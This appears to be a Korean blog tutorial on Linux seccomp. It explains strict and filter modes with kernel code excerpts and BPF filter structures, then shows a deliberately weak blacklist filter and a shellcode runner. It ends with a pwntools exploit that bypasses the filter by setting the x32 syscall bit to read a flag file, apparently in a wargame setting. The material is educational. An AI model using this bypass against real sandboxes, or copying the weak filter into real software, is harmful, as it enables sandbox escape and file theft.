Anatis 2021. 2. 2. 00:37

SECure COMputing mode(SECCOMP)는 리눅스 커널에서 프로그램의 샌드박싱 매커니즘을 제공하는 컴퓨터 보안기능이다. 샌드박스는 시스템 오류나 취약점으로 인한 2차 피해를 막기 위해 프로그램의 권한을 분리하기 위한 보안 매커니즘이다.

 

seccomp를 이용하면 프로세스가 필요로 하지 않지만 위험한 시스템 콜들에 대한 호출을 막을 수 있다.

ex) seccomp에서 execve 시스템 콜을 필터링 했을ㄷ 때, 프로세스에서 execve 시스템 콜이 호출되면 프로그램이 즉시 종료된다. 이를 통행 프로세스가 공격을 당하더라도 공격을 최소화할 수 있다. 

 

prctl 함수의 인자로 PR_SET_SECCOMP를 전달할 경우 seccomp를 활성화할 수 있다.

 

PR_SET_SECCOMP에는 두가지 모드가 존재한다.

int __secure_computing(const struct seccomp_data *sd)
{
        int mode = current->seccomp.mode;
        int this_syscall;
        ...
        this_syscall = sd ? sd->nr :
                syscall_get_nr(current, task_pt_regs(current));
        switch (mode) {
        case SECCOMP_MODE_STRICT:
                __secure_computing_strict(this_syscall);  /* may call do_exit */
                return 0;
        case SECCOMP_MODE_FILTER:
                return __seccomp_filter(this_syscall, sd, false);
        ...
        }
}

 

STRICT_MODE

static int mode1_syscalls[] = {
    __NR_seccomp_read, __NR_seccomp_write, __NR_seccomp_exit, __NR_seccomp_sigreturn,
    0, /* null terminated */
};
#ifdef CONFIG_COMPAT
static int mode1_syscalls_32[] = {
    __NR_seccomp_read_32, __NR_seccomp_write_32, __NR_seccomp_exit_32, __NR_seccomp_sigreturn_32,
    0, /* null terminated */
};
#endif
int __secure_computing(int this_syscall)
{
    int mode = current->seccomp.mode;
    int exit_sig = 0;
    int *syscall;
    u32 ret;
    switch (mode) {
    case SECCOMP_MODE_STRICT:
        syscall = mode1_syscalls;
#ifdef CONFIG_COMPAT
        if (is_compat_task())
        syscall = mode1_syscalls_32;
#endif
        do {
            if (*syscall == this_syscall)
                return 0;
        } while (*++syscall);
        exit_sig = SIGKILL;
        ret = SECCOMP_RET_KILL;
        break;
        ...
}

read, write, exit, sigreturn 시스템 콜의 호출만 허용하고 이외의 시스템 콜 호출 요청이 들어오면 SIGKILL 시그널을 발생시키고 프로그램을 종료한다.

 

FILTER_MODE

int __secure_computing(int this_syscall)
{
    int mode = current->seccomp.mode;
    int exit_sig = 0;
    int *syscall;
    u32 ret;
    switch (mode) {
    case SECCOMP_MODE_FILTER: {
        int data;
        ret = seccomp_run_filters(this_syscall);
        data = ret & SECCOMP_RET_DATA;
        ret &= SECCOMP_RET_ACTION;
        switch (ret) {
            case SECCOMP_RET_ERRNO:
                ...
            case SECCOMP_RET_TRAP:
                ...
            case SECCOMP_RET_TRACE:
                ...
                return 0;
            case SECCOMP_RET_ALLOW:
                return 0;
            case SECCOMP_RET_KILL:
            default:
                break;
    }

FILTER 모드는 원하는 시스템 콜의 호출을 허용하거나 허용하지 않을 수 있다. prctl의 세 번째 인자로 전달되는 sock_fprog에 대해 알고있어야한다.

 

sock_fprog

struct sock_fprog {     /* Required for SO_ATTACH_FILTER. */
    unsigned short len;    /* Number of filter blocks */
    struct sock_filter __user *filter;
};
struct sock_filter {
    __u16 code; // actual filter code
    __u8  jt; // jump true
    __u8  jf; // jump false
    __u32 k; // generic multiuse field
}

len 변수는 filter 구조체의 블럭 개수를 지정.

sock_filter 구조체 특정 경우에는 분기문을 설정할 수 있다.

필터링을 적용할 때 사용되는 것은 Berkeley Packet Filter(BPF)다. BPF는 네트워크 패킷을 필터링하기 위해 만들어진  필터링 매커니즘으로 seccomp를 사용할 때도 이를 사용하여 원하는 필터를 작성할 수 있다.

 

아래의 예제는 seccomp를 이용하여 sigreturn, open, openat, execve, execveat 시스템 콜을 필터링 하는 예제이다.

// gcc -o seccomp seccomp.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <stddef.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/unistd.h>
#include <linux/audit.h>
#include <sys/mman.h>
int syscall_filter() {
    #define syscall_nr (offsetof(struct seccomp_data, nr))
    #define arch_nr (offsetof(struct seccomp_data, arch))
    
    /* architecture x86_64 */
    #define REG_SYSCALL REG_RAX
    #define ARCH_NR AUDIT_ARCH_X86_64
    struct sock_filter filter[] = {
        /* Validate architecture. */
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
        BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
        BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
        /* Get system call number. */
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
        /* List allowed syscalls. */
        BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_rt_sigreturn, 0, 5),
        BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_open, 0, 4),
		BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_openat, 0, 3),
        BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_execve, 0, 2),
        BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_execveat, 0, 1),
        BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
        BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),
        };
    
    struct sock_fprog prog = {
    .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
    .filter = filter,
        };
    if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) {
        perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
        return -1;
        }
    
    if ( prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1 ) {
        perror("Seccomp filter error\n");
        return -1;
        }
    return 0;
}

int main(int argc, char* argv[])
{
    void (*sc)();
    unsigned char *shellcode;
    shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    read(0, shellcode, 1024);
    syscall_filter();
    sc = (void *)shellcode;
    sc();
    return 0;
}

 

seccomp 필터링 선언의 일부.

BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
/* List allowed syscalls. */
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_rt_sigreturn, 0, 5),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_open, 0, 4),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_openat, 0, 3),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_execve, 0, 2),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_execveat, 0, 1),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

시스템 콜이 호출되면 BPF_JEQ 조건문을 통해 호출한 시스템 콜이 rt_sigreturn, open, openat, execve, execveat 인지 확인한 후 다르다면 SECCOMP_RET_ALLOW로 분기한다. 위 코드의 예제는 블랙리스트 기반의 필터링 방법을 이용하였다.

Seccomp Filter Bypass

do_syscall_64

#define __X32_SYSCALL_BIT	0x40000000UL

// common.c 
__visible void do_syscall_64(unsigned long nr, struct pt_regs *regs)
{
  struct thread_info *ti;

  enter_from_user_mode();
  local_irq_enable();
  ti = current_thread_info();
  if (READ_ONCE(ti->flags) & _TIF_WORK_SYSCALL_ENTRY)
    nr = syscall_trace_enter(regs);
    
  if (likely(nr < NR_syscalls)) {
    nr = array_index_nospec(nr, NR_syscalls);
    regs->ax = sys_call_table[nr](regs);
#ifdef CONFIG_X86_X32_ABI
  } else if (likely((nr & __X32_SYSCALL_BIT) &&
        (nr & __X32_SYSCALL_BIT) < X32_NR_syscalls)) {
    nr = array_index_nospec(nr & ~__X32_SYSCALL_BIT,
          X32_NR_syscalls);
    regs->ax = x32_sys_call_table[nr](regs);
#endif
  }
  
  syscall_return_slowpath(regs);
}

do_syscall_64 함수를 보면 시스콜 번호를 나타내는 unsigned long 타입의 nr 변수가 sys_call_table 배열의 인덱스로 사용된다. 

nr & 0x40000000의 결과가 0이 아니라면 nr & ~__X32_SYSCALL_BIT 연산을 통해 nr 31번째 비트를 0으로 만든다.

위 예제에서의 seccomp 필터에서는 이러한 시스템 콜 번호의 예외 경우에 대한 검증을 하지 않기 때문에 0x40000000과 or 연산을 통해 원하는 시스템 콜 번호를 삽입하면 필터링을 우회할 수 있게 된다.

 

 exploit code

from pwn import *

p = process('./seccomp')

context.arch = 'x86_64'

# open("flag", "r")
payload = asm("mov eax, 0x40000000")    # __X32_SYSCALL_BIT
payload += asm("or eax, 2") # open

payload += asm("mov rdi, 0x67616c66")   # flag
payload += asm("push rdi")
payload += asm("mov rdi, rsp")
payload += asm("mov rsi, 0")
payload += asm("syscall")

# read(0, rsp, 0xff)
payload += asm("mov rdi, rax")  # open file fd
payload += asm("mov eax, 0x40000000")
payload += asm("or eax, 0") # read
payload += asm("mov rsi, rsp")
payload += asm("mov edx, 0xff")
payload += asm("syscall")

# write(1, rsp, 0xff)
payload += asm("mov rdi, 1")    # stdout 1
payload += asm("mov eax, 0x40000000")
payload += asm("or eax, 1") # write
payload += asm("mov rsi, rsp")
payload += asm("mov edx, 0xff")
payload += asm("syscall")
p.sendline(payload)

p.interactive()